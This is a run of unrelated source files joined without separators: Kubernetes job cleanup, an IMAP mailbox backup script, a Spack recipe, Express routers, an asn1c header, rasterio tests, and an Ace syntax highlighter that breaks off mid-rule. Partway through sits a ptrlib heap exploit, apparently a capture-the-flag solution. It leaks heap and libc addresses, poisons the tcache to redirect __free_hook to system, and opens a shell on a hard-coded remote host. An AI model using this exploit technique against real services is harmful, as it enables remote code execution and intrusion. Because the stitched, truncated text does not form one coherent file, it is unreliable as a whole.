delete_status = [] # delete job trainer_name = jobname + "-trainer" try: u_status = client.BatchV1Api(api_client=api_client)\ .delete_namespaced_job(trainer_name, namespace, {}) except ApiException, e: logging.error("error deleting job: %s, %s", jobname, str(e)) delete_status.append(str(e)) # delete job pods try: job_pod_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_pod(namespace, label_selector="paddle-job=%s"%jobname) for i in job_pod_list.items: u_status = client.CoreV1Api(api_client=api_client)\ .delete_namespaced_pod(i.metadata.name, namespace, {}) except ApiException, e: logging.error("error deleting job pod: %s", str(e)) delete_status.append(str(e)) # delete pserver rs pserver_name = jobname + "-pserver" try: u_status = client.ExtensionsV1beta1Api(api_client=api_client)\ .delete_namespaced_replica_set(pserver_name, namespace, {}) except ApiException, e: logging.error("error deleting pserver: %s" % str(e)) delete_status.append(str(e)) # delete pserver pods try: # pserver replica set has label with jobname job_pod_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_pod(namespace, label_selector="paddle-job-pserver=%s"%jobname) for i in job_pod_list.items: u_status = client.CoreV1Api(api_client=api_client)\ .delete_namespaced_pod(i.metadata.name, namespace, {}) except ApiException, e: logging.error("error deleting pserver pods: %s" % str(e)) delete_status.append(str(e)) # delete master rs master_name = jobname + "-master" try: u_status = client.ExtensionsV1beta1Api(api_client=api_client)\ .delete_namespaced_replica_set(master_name, namespace, {}) except ApiException, e: logging.error("error deleting master: %s" % str(e)) # just ignore deleting master failed, we do not set up master process # without fault tolerant mode #delete_status.append(str(e)) # delete master pods try: # master replica set has label with jobname job_pod_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_pod(namespace, label_selector="paddle-job-master=%s"%jobname) for i in job_pod_list.items: u_status = client.CoreV1Api(api_client=api_client)\ .delete_namespaced_pod(i.metadata.name, namespace, {}) except ApiException, e: logging.error("error deleting master pods: %s" % str(e)) # just ignore deleting master failed, we do not set up master process # without fault tolerant mode #delete_status.append(str(e)) if len(delete_status) > 0: retcode = 500 else: retcode = 200 return retcode, delete_status def get_pservers(self, username): namespace = utils.email_escape(username) api_instance = client.ExtensionsV1beta1Api( api_client=utils.get_user_api_client(username)) return api_instance.list_namespaced_replica_set(namespace).to_dict() def get_logs(self, jobname, num_lines, worker, username): def _get_pod_log(api_client, namespace, pod_name, num_lines): try: if num_lines: pod_log = client.CoreV1Api(api_client=api_client)\ .read_namespaced_pod_log( pod_name, namespace, tail_lines=int(num_lines)) else: pod_log = client.CoreV1Api(api_client=api_client)\ .read_namespaced_pod_log(i.metadata.name, namespace) return pod_log except ApiException, e: return str(e) namespace = utils.email_escape(username) api_client = utils.get_user_api_client(username) job_pod_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_pod(namespace, label_selector="paddle-job=%s"%jobname) total_job_log = "" if not worker: for i in job_pod_list.items: total_job_log = "".join( (total_job_log, "==========================%s==========================" % i.metadata.name)) pod_log = _get_pod_log(api_client, namespace, i.metadata.name, num_lines) total_job_log = "\n".join((total_job_log, pod_log)) else: total_job_log = _get_pod_log(api_client, namespace, worker, num_lines) return total_job_log def get_workers(self, jobname, username): namespace = utils.email_escape(username) job_pod_list = None api_client = utils.get_user_api_client(username) if not jobname: job_pod_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_pod(namespace) else: selector = "paddle-job=%s" % jobname job_pod_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_pod(namespace, label_selector=selector) return job_pod_list.to_dict() def get_quotas(self, username): namespace = utils.email_escape(username) api_client = utils.get_user_api_client(username) quota_list = client.CoreV1Api(api_client=api_client)\ .list_namespaced_resource_quota(namespace) return quota_list.to_dict()
#!/usr/bin/env python3 -u """IMAP Incremental Backup Script""" __version__ = "1.4h" __author__ = "Rui Carmo (http://taoofmac.com)" __copyright__ = "(C) 2006-2018 Rui Carmo. Code under MIT License.(C)" __contributors__ = "jwagnerhki, Bob Ippolito, Michael Leonhard, Giuseppe Scrivano <gscrivano@gnu.org>, Ronan Sheth, Brandon Long, Christian Schanz, A. Bovett, Mark Feit, Marco Machicao" # = Contributors = # https://github.com/mmachicao: Port impapbackup core use case to python3.8. Mailbox does not support compression. # http://github.com/markfeit: Allow password to be read from a file # http://github.com/jwagnerhki: fix for message_id checks # A. Bovett: Modifications for Thunderbird compatibility and disabling spinner in Windows # Christian Schanz: added target directory parameter # Brandon Long (Gmail team): Reminder to use BODY.PEEK instead of BODY # Ronan Sheth: hashlib patch (this now requires Python 2.5, although reverting it back is trivial) # Giuseppe Scrivano: Added support for folders. # Michael Leonhard: LIST result parsing, SSL support, revamped argument processing, # moved spinner into class, extended recv fix to Windows # Bob Ippolito: fix for MemoryError on socket recv, http://python.org/sf/1092502 # Rui Carmo: original author, up to v1.2e # = TODO = # - Add proper exception handlers to scanFile() and downloadMessages() # - Migrate mailbox usage from rfc822 module to email module # - Investigate using the noseek mailbox/email option to improve speed # - Use the email module to normalize downloaded messages # and add missing Message-Id # - Test parseList() and its descendents on other imapds # - Add option to download only subscribed folders # - Add regex option to filter folders # - Use a single IMAP command to get Message-IDs # - Use a single IMAP command to fetch the messages # - Patch Python's ssl module to do proper checking of certificate chain # - Patch Python's ssl module to raise good exceptions # - Submit patch of socket._fileobject.read # - Improve imaplib module with LIST parsing code, submit patch # DONE: # v1.4h # - Add timeout option # v1.3c # - Add SSL support # - Support host:port # - Cleaned up code using PyLint to identify problems # pylint -f html --indent-string=" " --max-line-length=90 imapbackup.py > report.html import getpass import os import gc import sys import time import getopt import mailbox import imaplib import socket import re import hashlib class SkipFolderException(Exception): """Indicates aborting processing of current folder, continue with next folder.""" pass class Spinner: """Prints out message with cute spinner, indicating progress""" def __init__(self, message, nospinner): """Spinner constructor""" self.glyphs = "|/-\\" self.pos = 0 self.message = message self.nospinner = nospinner sys.stdout.write(message) sys.stdout.flush() self.spin() def spin(self): """Rotate the spinner""" if sys.stdin.isatty() and not self.nospinner: sys.stdout.write("\r" + self.message + " " + self.glyphs[self.pos]) sys.stdout.flush() self.pos = (self.pos+1) % len(self.glyphs) def stop(self): """Erase the spinner from the screen""" if sys.stdin.isatty() and not self.nospinner: sys.stdout.write("\r" + self.message + " ") sys.stdout.write("\r" + self.message) sys.stdout.flush() def pretty_byte_count(num): """Converts integer into a human friendly count of bytes, eg: 12.243 MB""" if num == 1: return "1 byte" elif num < 1024: return "%s bytes" % num elif num < 1048576: return "%.2f KB" % (num/1024.0) elif num < 1073741824: return "%.3f MB" % (num/1048576.0) elif num < 1099511627776: return "%.3f GB" % (num/1073741824.0) else: return "%.3f TB" % (num/1099511627776.0) # Regular expressions for parsing MSGID_RE = re.compile("^Message\-Id\: (.+)", re.IGNORECASE + re.MULTILINE) BLANKS_RE = re.compile(r'\s+', re.MULTILINE) # Constants UUID = '19AF1258-1AAF-44EF-9D9A-731079D6FAD7' # Used to generate Message-Ids def string_from_file(value): """ Read a string from a file or return the string unchanged. If the string begins with '@', the remainder of the string will be treated as a path to the file to be read. Precede the '@' with a '\' to treat it as a literal. """ assert isinstance(value, str) if not value or value[0] not in ["\\", "@"]: return value if value[0] == "\\": return value[1:] with open(os.path.expanduser(value[1:]), 'r') as content: return content.read().strip() def download_messages(server, filename, messages, overwrite, nospinner, thunderbird, basedir): """Download messages from folder and append to mailbox""" fullname = os.path.join(basedir,filename) if overwrite and os.path.exists(fullname): print ("Deleting mbox: {0} at: {1}".format(filename,fullname)) os.remove(fullname) # Open disk file for append in binary mode mbox = open(fullname, 'ab') # the folder has already been selected by scanFolder() # nothing to do if not len(messages): print ("New messages: 0") mbox.close() return spinner = Spinner("Downloading %s new messages to %s" % (len(messages), filename), nospinner) total = biggest = 0 # each new message for msg_id in messages.keys(): # This "From" and the terminating newline below delimit messages # in mbox files. Note that RFC 4155 specifies that the date be # in the same format as the output of ctime(3), which is required # by ISO C to use English day and month abbreviations. buf = "From nobody %s\n" % time.ctime() # If this is one of our synthesised Message-IDs, insert it before # the other headers if UUID in msg_id: buf = buf + "Message-Id: %s\n" % msg_id # convert to bytes before writing to file of type binary buf_bytes=bytes(buf,'utf-8') mbox.write(buf_bytes) # fetch message msg_id_str = str(messages[msg_id]) typ, data = server.fetch(msg_id_str, "(RFC822)") assert('OK' == typ) data_bytes = data[0][1] text_bytes = data_bytes.strip().replace(b'\r', b'') if thunderbird: # This avoids Thunderbird mistaking a line starting "From " as the start # of a new message. _Might_ also apply to other mail lients - unknown text_bytes = text_bytes.replace(b"\nFrom ", b"\n From ") mbox.write(text_bytes) mbox.write(b'\n\n') size = len(text_bytes) biggest = max(size, biggest) total += size del data gc.collect() spinner.spin() mbox.close() spinner.stop() print (": %s total, %s for largest message" % (pretty_byte_count(total), pretty_byte_count(biggest))) def scan_file(filename, overwrite, nospinner, basedir): """Gets IDs of messages in the specified mbox file""" # file will be overwritten if overwrite: return [] fullname = os.path.join(basedir,filename) # file doesn't exist if not os.path.exists(fullname): print ("File %s: not found" % filename) return [] spinner = Spinner("File %s" % filename, nospinner) # open the mailbox file for read mbox = mailbox.mbox(fullname) messages = {} # each message i = 0 HEADER_MESSAGE_ID='Message-Id' for message in mbox: header = '' # We assume all messages on disk have message-ids try: header = "{0}: {1}".format(HEADER_MESSAGE_ID,message.get(HEADER_MESSAGE_ID)) except KeyError: # No message ID was found. Warn the user and move on print print ("WARNING: Message #%d in %s" % (i, filename),) print ("has no {0} header.".format(HEADER_MESSAGE_ID)) header = BLANKS_RE.sub(' ', header.strip()) try: msg_id = MSGID_RE.match(header).group(1) if msg_id not in messages.keys(): # avoid adding dupes messages[msg_id] = msg_id except AttributeError: # Message-Id was found but could somehow not be parsed by regexp # (highly bloody unlikely) print print ("WARNING: Message #%d in %s" % (i, filename),) print ("has a malformed {0} header.".format(HEADER_MESSAGE_ID)) spinner.spin() i = i + 1 # done mbox.close() spinner.stop() print (": %d messages" % (len(messages.keys()))) return messages def scan_folder(server, foldername, nospinner): """Gets IDs of messages in the specified folder, returns id:num dict""" messages = {} foldername = '"{}"'.format(foldername) spinner = Spinner("Folder %s" % foldername, nospinner) try: typ, data = server.select(foldername, readonly=True) if 'OK' != typ: raise SkipFolderException("SELECT failed: %s" % data) num_msgs = int(data[0]) # each message for num in range(1, num_msgs+1): # Retrieve Message-Id, making sure we don't mark all messages as read typ, data = server.fetch(str(num), '(BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])') if 'OK' != typ: raise SkipFolderException("FETCH %s failed: %s" % (num, data)) data_str = str(data[0][1], 'utf-8', 'replace') header = data_str.strip() # remove newlines inside Message-Id (a dumb Exchange trait) header = BLANKS_RE.sub(' ', header) try: msg_id = MSGID_RE.match(header).group(1) if msg_id not in messages.keys(): # avoid adding dupes messages[msg_id] = num except (IndexError, AttributeError): # Some messages may have no Message-Id, so we'll synthesise one # (this usually happens with Sent, Drafts and .Mac news) typ, data = server.fetch( str(num), '(BODY[HEADER.FIELDS (FROM TO CC DATE SUBJECT)])') if 'OK' != typ: raise SkipFolderException( "FETCH %s failed: %s" % (num, data)) data_str = str(data[0][1], 'utf-8', 'replace') header = data_str.strip() header = header.replace('\r\n', '\t').encode('utf-8') messages['<' + UUID + '.' + hashlib.sha1(header).hexdigest() + '>'] = num spinner.spin() finally: spinner.stop() print (":",) # done print ("%d messages" % (len(messages.keys()))) return messages def parse_paren_list(row): """Parses the nested list of attributes at the start of a LIST response""" # eat starting paren assert(row[0] == '(') row = row[1:] result = [] # NOTE: RFC3501 doesn't fully define the format of name attributes name_attrib_re = re.compile("^\s*(\\\\[a-zA-Z0-9_]+)\s*") # eat name attributes until ending paren while row[0] != ')': # recurse if row[0] == '(': paren_list, row = parse_paren_list(row) result.append(paren_list) # consume name attribute else: match = name_attrib_re.search(row) assert(match is not None) name_attrib = row[match.start():match.end()] row = row[match.end():] name_attrib = name_attrib.strip() result.append(name_attrib) # eat ending paren assert(')' == row[0]) row = row[1:] # done! return result, row def parse_string_list(row): """Parses the quoted and unquoted strings at the end of a LIST response""" slist = re.compile('\s*(?:"([^"]+)")\s*|\s*(\S+)\s*').split(row) return [s for s in slist if s] def parse_list(row): """Parses response of LIST command into a list""" row = row.strip() print(row) paren_list, row = parse_paren_list(row) string_list = parse_string_list(row) assert(len(string_list) == 2) return [paren_list] + string_list def get_names(server, thunderbird, nospinner): """Get list of folders, returns [(FolderName,FileName)]""" spinner = Spinner("Finding Folders", nospinner) # Get LIST of all folders typ, data = server.list() assert(typ == 'OK') spinner.spin() names = [] # parse each LIST entry for folder name hierarchy delimiter for row in data: row_str = str(row,'utf-8') lst = parse_list(row_str) # [attribs, hierarchy delimiter, root name] delim = lst[1] foldername = lst[2] if thunderbird: filename = '.sbd/'.join(foldername.split(delim)) if filename.startswith("INBOX"): filename = filename.replace("INBOX", "Inbox") else: filename = '.'.join(foldername.split(delim)) + '.mbox' # print "\n*** Folder:", foldername # *DEBUG # print "*** File:", filename # *DEBUG names.append((foldername, filename)) # done spinner.stop() print (": %s folders" % (len(names))) return names def print_usage(): """Prints usage, exits""" # " " print ("Usage: imapbackup [OPTIONS] -s HOST -u USERNAME [-p PASSWORD]") print (" -d DIR --mbox-dir=DIR Write mbox files to directory. (defaults to cwd)") print (" -a --append-to-mboxes Append new messages to mbox files. (default)") print (" -y --yes-overwrite-mboxes Overwite existing mbox files instead of appending.") print (" -f FOLDERS --folders=FOLDERS Specifify which folders use. Comma separated list.") print (" -e --ssl Use SSL. Port defaults to 993.") print (" -k KEY --key=KEY PEM private key file for SSL. Specify cert, too.") print (" -c CERT --cert=CERT PEM certificate chain for SSL. Specify key, too.") print (" Python's SSL module doesn't check the cert chain.") print (" -s HOST --server=HOST Address of server, port optional, eg. mail.com:143") print (" -u USER --user=USER Username to log into server") print (" -p PASS --pass=PASS Prompts for password if not specified. If the first") print (" character is '@', treat the rest as a path to a file") print (" containing the password. Leading '\' makes it literal.") print (" -t SECS --timeout=SECS Sets socket timeout to SECS seconds.") print (" --thunderbird Create Mozilla Thunderbird compatible mailbox") print (" --nospinner Disable spinner (makes output log-friendly)") sys.exit(2) def process_cline(): """Uses getopt to process command line, returns (config, warnings, errors)""" # read command line try: short_args = "aynekt:c:s:u:p:f:d:" long_args = ["append-to-mboxes", "yes-overwrite-mboxes", "ssl", "timeout", "keyfile=", "certfile=", "server=", "user=", "pass=", "folders=", "thunderbird", "nospinner", "mbox-dir="] opts, extraargs = getopt.getopt(sys.argv[1:], short_args, long_args) except getopt.GetoptError: print_usage() warnings = [] config = {'overwrite': False, 'usessl': False, 'thunderbird': False, 'nospinner': False, 'basedir': "."} errors = [] # empty command line if not len(opts) and not len(extraargs): print_usage() # process each command line option, save in config for option, value in opts: if option in ("-d", "--mbox-dir"): config['basedir'] = value elif option in ("-a", "--append-to-mboxes"): config['overwrite'] = False elif option in ("-y", "--yes-overwrite-mboxes"): warnings.append("Existing mbox files will be overwritten!") config["overwrite"] = True elif option in ("-e", "--ssl"): config['usessl'] = True elif option in ("-k", "--keyfile"): config['keyfilename'] = value elif option in ("-f", "--folders"): config['folders'] = value elif option in ("-c", "--certfile"): config['certfilename'] = value elif option in ("-s", "--server"): config['server'] = value elif option in ("-u", "--user"): config['user'] = value elif option in ("-p", "--pass"): try: config['pass'] = string_from_file(value) except Exception as ex: errors.append("Can't read password: %s" % (str(ex))) elif option in ("-t", "--timeout"): config['timeout'] = value elif option == "--thunderbird": config['thunderbird'] = True elif option == "--nospinner": config['nospinner'] = True else: errors.append("Unknown option: " + option) # don't ignore extra arguments for arg in extraargs: errors.append("Unknown argument: " + arg) # done processing command line return config, warnings, errors def check_config(config, warnings, errors): """Checks the config for consistency, returns (config, warnings, errors)""" if 'server' not in config: errors.append("No server specified.") if 'user' not in config: errors.append("No username specified.") if ('keyfilename' in config) ^ ('certfilename' in config): errors.append("Please specify both key and cert or neither.") if 'keyfilename' in config and not config['usessl']: errors.append("Key specified without SSL. Please use -e or --ssl.") if 'certfilename' in config and not config['usessl']: errors.append( "Certificate specified without SSL. Please use -e or --ssl.") if 'server' in config and ':' in config['server']: # get host and port strings bits = config['server'].split(':', 1) config['server'] = bits[0] # port specified, convert it to int if len(bits) > 1 and len(bits[1]) > 0: try: port = int(bits[1]) if port > 65535 or port < 0: raise ValueError config['port'] = port except ValueError: errors.append( "Invalid port. Port must be an integer between 0 and 65535.") if 'timeout' in config: try: timeout = int(config['timeout']) if timeout <= 0: raise ValueError config['timeout'] = timeout except ValueError: errors.append( "Invalid timeout value. Must be an integer greater than 0.") return config, warnings, errors def get_config(): """Gets config from command line and console, returns config""" # config = { # 'overwrite': True or False # 'server': String # 'port': Integer # 'user': String # 'pass': String # 'usessl': True or False # 'keyfilename': String or None # 'certfilename': String or None # } config, warnings, errors = process_cline() config, warnings, errors = check_config(config, warnings, errors) # show warnings for warning in warnings: print ("WARNING:", warning) # show errors, exit for error in errors: print ("ERROR", error) if len(errors): sys.exit(2) # prompt for password, if necessary if 'pass' not in config: config['pass'] = getpass.getpass() # defaults if 'port' not in config: if config['usessl']: config['port'] = 993 else: config['port'] = 143 if 'timeout' not in config: config['timeout'] = 60 # done! return config def connect_and_login(config): """Connects to the server and logs in. Returns IMAP4 object.""" try: assert(not (('keyfilename' in config) ^ ('certfilename' in config))) if config['timeout']: socket.setdefaulttimeout(config['timeout']) if config['usessl'] and 'keyfilename' in config: print ("Connecting to '%s' TCP port %d," % ( config['server'], config['port']),) print ("SSL, key from %s," % (config['keyfilename']),) print ("cert from %s " % (config['certfilename'])) server = imaplib.IMAP4_SSL(config['server'], config['port'], config['keyfilename'], config['certfilename']) elif config['usessl']: print ("Connecting to '%s' TCP port %d, SSL" % ( config['server'], config['port'])) server = imaplib.IMAP4_SSL(config['server'], config['port']) else: print ("Connecting to '%s' TCP port %d" % ( config['server'], config['port'])) server = imaplib.IMAP4(config['server'], config['port']) # speed up interactions on TCP connections using small packets server.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) print ("Logging in as '%s'" % (config['user'])) server.login(config['user'], config['pass']) except socket.gaierror as e: (err, desc) = e print ("ERROR: problem looking up server '%s' (%s %s)" % ( config['server'], err, desc)) sys.exit(3) except socket.error as e: if str(e) == "SSL_CTX_use_PrivateKey_file error": print ("ERROR: error reading private key file '%s'" % ( config['keyfilename'])) elif str(e) == "SSL_CTX_use_certificate_chain_file error": print ("ERROR: error reading certificate chain file '%s'" % ( config['keyfilename'])) else: print ("ERROR: could not connect to '%s' (%s)" % ( config['server'], e)) sys.exit(4) return server def create_basedir(basedir): """ Create the base directory on disk """ if os.path.isdir(basedir): return try: os.makedirs(basedir) except OSError as e: raise def create_folder_structure(names,basedir): """ Create the folder structure on disk """ for imap_foldername, filename in sorted(names): disk_foldername = os.path.split(filename)[0] if disk_foldername: try: # print "*** makedirs:", disk_foldername # *DEBUG disk_path = os.path.join(basedir,disk_foldername) os.makedirs(disk_path) except OSError as e: if e.errno != 17: raise def main(): """Main entry point""" try: config = get_config() server = connect_and_login(config) names = get_names(server,config['thunderbird'],config['nospinner']) if config.get('folders'): dirs = list(map(lambda x: x.strip(), config.get('folders').split(','))) if config['thunderbird']: dirs = [i.replace("Inbox", "INBOX", 1) if i.startswith("Inbox") else i for i in dirs] names = list(filter(lambda x: x[0] in dirs, names)) basedir = config.get('basedir') if basedir.startswith('~'): basedir = os.path.expanduser(basedir) else: basedir = os.path.abspath(config.get('basedir')) create_basedir(basedir) # for n, name in enumerate(names): # *DEBUG # print n, name # *DEBUG create_folder_structure(names,basedir) for name_pair in names: try: foldername, filename = name_pair fol_messages = scan_folder( server, foldername, config['nospinner']) fil_messages = scan_file(filename, config['overwrite'], config['nospinner'], basedir) new_messages = {} for msg_id in fol_messages.keys(): if msg_id not in fil_messages: new_messages[msg_id] = fol_messages[msg_id] # for f in new_messages: # print "%s : %s" % (f, new_messages[f]) download_messages(server, filename, new_messages, config['overwrite'], config['nospinner'], config['thunderbird'], basedir) except SkipFolderException as e: print (e) print ("Disconnecting") server.logout() except socket.error as e: print ("ERROR:", e) sys.exit(4) except imaplib.IMAP4.error as e: print ("ERROR:", e) sys.exit(5) # From http://www.pixelbeat.org/talks/python/spinner.py def cli_exception(typ, value, traceback): """Handle CTRL-C by printing newline instead of ugly stack trace""" if not issubclass(typ, KeyboardInterrupt): sys.__excepthook__(typ, value, traceback) else: sys.stdout.write("\n") sys.stdout.flush() if sys.stdin.isatty(): sys.excepthook = cli_exception # Hideous fix to counteract http://python.org/sf/1092502 # (which should have been fixed ages ago.) # Also see http://python.org/sf/1441530 def _fixed_socket_read(self, size=-1): data = self._rbuf if size < 0: # Read until EOF buffers = [] if data: buffers.append(data) self._rbuf = "" if self._rbufsize <= 1: recv_size = self.default_bufsize else: recv_size = self._rbufsize while True: data = self._sock.recv(recv_size) if not data: break buffers.append(data) return "".join(buffers) else: # Read until size bytes or EOF seen, whichever comes first buf_len = len(data) if buf_len >= size: self._rbuf = data[size:] return data[:size] buffers = [] if data: buffers.append(data) self._rbuf = "" while True: left = size - buf_len recv_size = min(self._rbufsize, left) # the actual fix data = self._sock.recv(recv_size) if not data: break buffers.append(data) n = len(data) if n >= left: self._rbuf = data[left:] buffers[-1] = data[:left] break buf_len += n return "".join(buffers) if __name__ == '__main__': gc.enable() main()
# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Openipmi(AutotoolsPackage): """The Open IPMI project aims to develop an open code base to allow access to platform information using Intelligent Platform Management Interface (IPMI).""" homepage = "https://sourceforge.net/projects/openipmi/" url = "https://sourceforge.net/projects/openipmi/files/OpenIPMI%202.0%20Library/OpenIPMI-2.0.29.tar.gz" version('2.0.29', sha256='2244124579afb14e569f34393e9ac61e658a28b6ffa8e5c0d2c1c12a8ce695cd') version('2.0.28', sha256='8e8b1de2a9a041b419133ecb21f956e999841cf2e759e973eeba9a36f8b40996') version('2.0.27', sha256='f3b1fafaaec2e2bac32fec5a86941ad8b8cb64543470bd6d819d7b166713d20b') depends_on('popt', type='link') depends_on('python', type=('build', 'link', 'run')) depends_on('perl', type=('build', 'link', 'run')) depends_on('termcap', type='link') depends_on('ncurses', type='link') depends_on('readline', type='link') patch('readline.patch', when='@2.0.27') def configure_args(self): args = ['LIBS=' + self.spec['ncurses'].libs.link_flags] return args def install(self, spec, prefix): make('install', parallel=False)
module.exports = function (router, content) { // START__#################################################################################################### router.post('/application/_1-adult/_6-impact/se-home-alterations', function (req, res) { var buttonClicked = req.session.data['buttonClicked']; if ( (buttonClicked === 'Save and continue') || (buttonClicked === 'Continue') ) { res.redirect('/application/_1-adult/_6-impact/se-special-equipment') } else if (buttonClicked === 'Save and complete application later') { return res.redirect('/application/_0-save-and-return-screens/save-confirmation') } }) // Pass the question in to the page router.get('/application/_1-adult/_6-impact/se-home-alterations/', function (req, res) { res.render('application/_1-adult/_6-impact/se-home-alterations/index', content) }) // END__###################################################################################################### }
/* * Generated by asn1c-0.9.21 (http://lionet.info/asn1c) * From ASN.1 module "DSRC" * found in "../downloads/DSRC_R36_Source.ASN" * `asn1c -fcompound-names` */ #ifndef _SpecialLane_H_ #define _SpecialLane_H_ #include <asn_application.h> /* Including external dependencies */ #include "LaneNumber.h" #include "LaneWidth.h" #include "SpecialLaneAttributes.h" #include "NodeList.h" #include "ConnectsTo.h" #include <constr_SEQUENCE.h> #ifdef __cplusplus extern "C" { #endif /* Forward declarations */ struct NodeList; /* SpecialLane */ typedef struct SpecialLane { LaneNumber_t laneNumber; LaneWidth_t *laneWidth /* OPTIONAL */; SpecialLaneAttributes_t laneAttributes; NodeList_t nodeList; struct NodeList *keepOutList /* OPTIONAL */; ConnectsTo_t *connectsTo /* OPTIONAL */; /* * This type is extensible, * possible extensions are below. */ /* Context for parsing across buffer boundaries */ asn_struct_ctx_t _asn_ctx; } SpecialLane_t; /* Implementation */ extern asn_TYPE_descriptor_t asn_DEF_SpecialLane; #ifdef __cplusplus } #endif /* Referred external types */ #include "NodeList.h" #endif /* _SpecialLane_H_ */
import logging import sys import click from click.testing import CliRunner import rasterio from rasterio.rio import sample logging.basicConfig(stream=sys.stderr, level=logging.DEBUG) def test_sample_err(): runner = CliRunner() result = runner.invoke( sample.sample, ['bogus.tif'], "[220650.0, 2719200.0]") assert result.exit_code == 1 def test_sample_stdin(): runner = CliRunner() result = runner.invoke( sample.sample, ['tests/data/RGB.byte.tif'], "[220650.0, 2719200.0]\n[220650.0, 2719200.0]", catch_exceptions=False) assert result.exit_code == 0 assert result.output.strip() == '[18, 25, 14]\n[18, 25, 14]' def test_sample_arg(): runner = CliRunner() result = runner.invoke( sample.sample, ['tests/data/RGB.byte.tif', "[220650.0, 2719200.0]"], catch_exceptions=False) assert result.exit_code == 0 assert result.output.strip() == '[18, 25, 14]' def test_sample_bidx(): runner = CliRunner() result = runner.invoke( sample.sample, ['tests/data/RGB.byte.tif', '--bidx', '1,2', "[220650.0, 2719200.0]"], catch_exceptions=False) assert result.exit_code == 0 assert result.output.strip() == '[18, 25]' def test_sample_bidx2(): runner = CliRunner() result = runner.invoke( sample.sample, ['tests/data/RGB.byte.tif', '--bidx', '1..2', "[220650.0, 2719200.0]"], catch_exceptions=False) assert result.exit_code == 0 assert result.output.strip() == '[18, 25]' def test_sample_bidx3(): runner = CliRunner() result = runner.invoke( sample.sample, ['tests/data/RGB.byte.tif', '--bidx', '..2', "[220650.0, 2719200.0]"], catch_exceptions=False) assert result.exit_code == 0 assert result.output.strip() == '[18, 25]' def test_sample_bidx4(): runner = CliRunner() result = runner.invoke( sample.sample, ['tests/data/RGB.byte.tif', '--bidx', '3', "[220650.0, 2719200.0]"], catch_exceptions=False) assert result.exit_code == 0 assert result.output.strip() == '[14]'
'use strict'; var express = require('express'); var write = require('./write'); var getFullURL = require('./get-full-url'); module.exports = function (db, name) { var router = express.Router(); function show(req, res, next) { res.locals.data = db.get(name).value(); next(); } function create(req, res, next) { db.set(name, req.body).value(); res.locals.data = db.get(name).value(); res.setHeader('Access-Control-Expose-Headers', 'Location'); res.location(`${getFullURL(req)}`); res.status(201); next(); } function update(req, res, next) { if (req.method === 'PUT') { db.set(name, req.body).value(); } else { db.get(name).assign(req.body).value(); } res.locals.data = db.get(name).value(); next(); } var w = write(db); router.route('/').get(show).post(create, w).put(update, w).patch(update, w); return router; };
from ptrlib import * def add(schedule): sock.sendlineafter("> ", "1") sock.sendafter(">", schedule) return def delete(index): sock.sendlineafter("> ", "2") sock.sendlineafter("> ", str(index)) return def show(): sock.sendlineafter("> ", "3") sock.recvline() sock.recvline() return sock.recvline() def edit(index, data): sock.sendlineafter("> ", "4") sock.sendlineafter("> ", str(index)) sock.sendafter(">", data) return # BUF_SIZE = 0x200 libc = ELF("./libc.so.6") #sock = Process("./ShyEEICtan") sock = Socket("3.112.113.4", 20000) libc_main_arena = 0x3ebc40 # leak heap add(p64(0) + p64(0x431)) # 0 add("1") # 1 add((p64(0) + p64(0x21)) * 0x10) # 2 delete(1) delete(0) heap_base = u64(show()[:8]) - 0x220 logger.info("heap = " + hex(heap_base)) # leak libc for i in range(6): delete(0) libc_base = u64(show()[:8]) - libc_main_arena - 0x60 logger.info("libc = " + hex(libc_base)) # tcache poisoning edit(0, p64(libc_base + libc.symbol("__free_hook"))) add("/bin/sh") # 3 add(p64(libc_base + libc.symbol("system"))) # 4 delete(3) sock.interactive()
ace.define("ace/mode/elixir_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var ElixirHighlightRules = function() { this.$rules = { start: [ { token: [ 'meta.module.elixir', 'keyword.control.module.elixir', 'meta.module.elixir', 'entity.name.type.module.elixir' ], regex: '^(\\s*)(defmodule)(\\s+)((?:[A-Z]\\w*\\s*\\.\\s*)*[A-Z]\\w*)' }, { token: 'comment.documentation.heredoc', regex: '@(?:module|type)?doc (?:~[a-z])?"""', push: [ { token: 'comment.documentation.heredoc', regex: '\\s*"""', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'comment.documentation.heredoc' } ], comment: '@doc with heredocs is treated as documentation' }, { token: 'comment.documentation.heredoc', regex: '@(?:module|type)?doc ~[A-Z]"""', push: [ { token: 'comment.documentation.heredoc', regex: '\\s*"""', next: 'pop' }, { defaultToken: 'comment.documentation.heredoc' } ], comment: '@doc with heredocs is treated as documentation' }, { token: 'comment.documentation.heredoc', regex: '@(?:module|type)?doc (?:~[a-z])?\'\'\'', push: [ { token: 'comment.documentation.heredoc', regex: '\\s*\'\'\'', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'comment.documentation.heredoc' } ], comment: '@doc with heredocs is treated as documentation' }, { token: 'comment.documentation.heredoc', regex: '@(?:module|type)?doc ~[A-Z]\'\'\'', push: [ { token: 'comment.documentation.heredoc', regex: '\\s*\'\'\'', next: 'pop' }, { defaultToken: 'comment.documentation.heredoc' } ], comment: '@doc with heredocs is treated as documentation' }, { token: 'comment.documentation.false', regex: '@(?:module|type)?doc false', comment: '@doc false is treated as documentation' }, { token: 'comment.documentation.string', regex: '@(?:module|type)?doc "', push: [ { token: 'comment.documentation.string', regex: '"', next: 'pop' }, { include: '#interpolated_elixir' }, { include: '#escaped_char' }, { defaultToken: 'comment.documentation.string' } ], comment: '@doc with string is treated as documentation' }, { token: 'keyword.control.elixir', regex: '\\b(?:do|end|case|bc|lc|for|if|cond|unless|try|receive|fn|defmodule|defp?|defprotocol|defimpl|defrecord|defstruct|defmacrop?|defdelegate|defcallback|defmacrocallback|defexception|defoverridable|exit|after|rescue|catch|else|raise|throw|import|require|alias|use|quote|unquote|super)\\b(?![?!])', 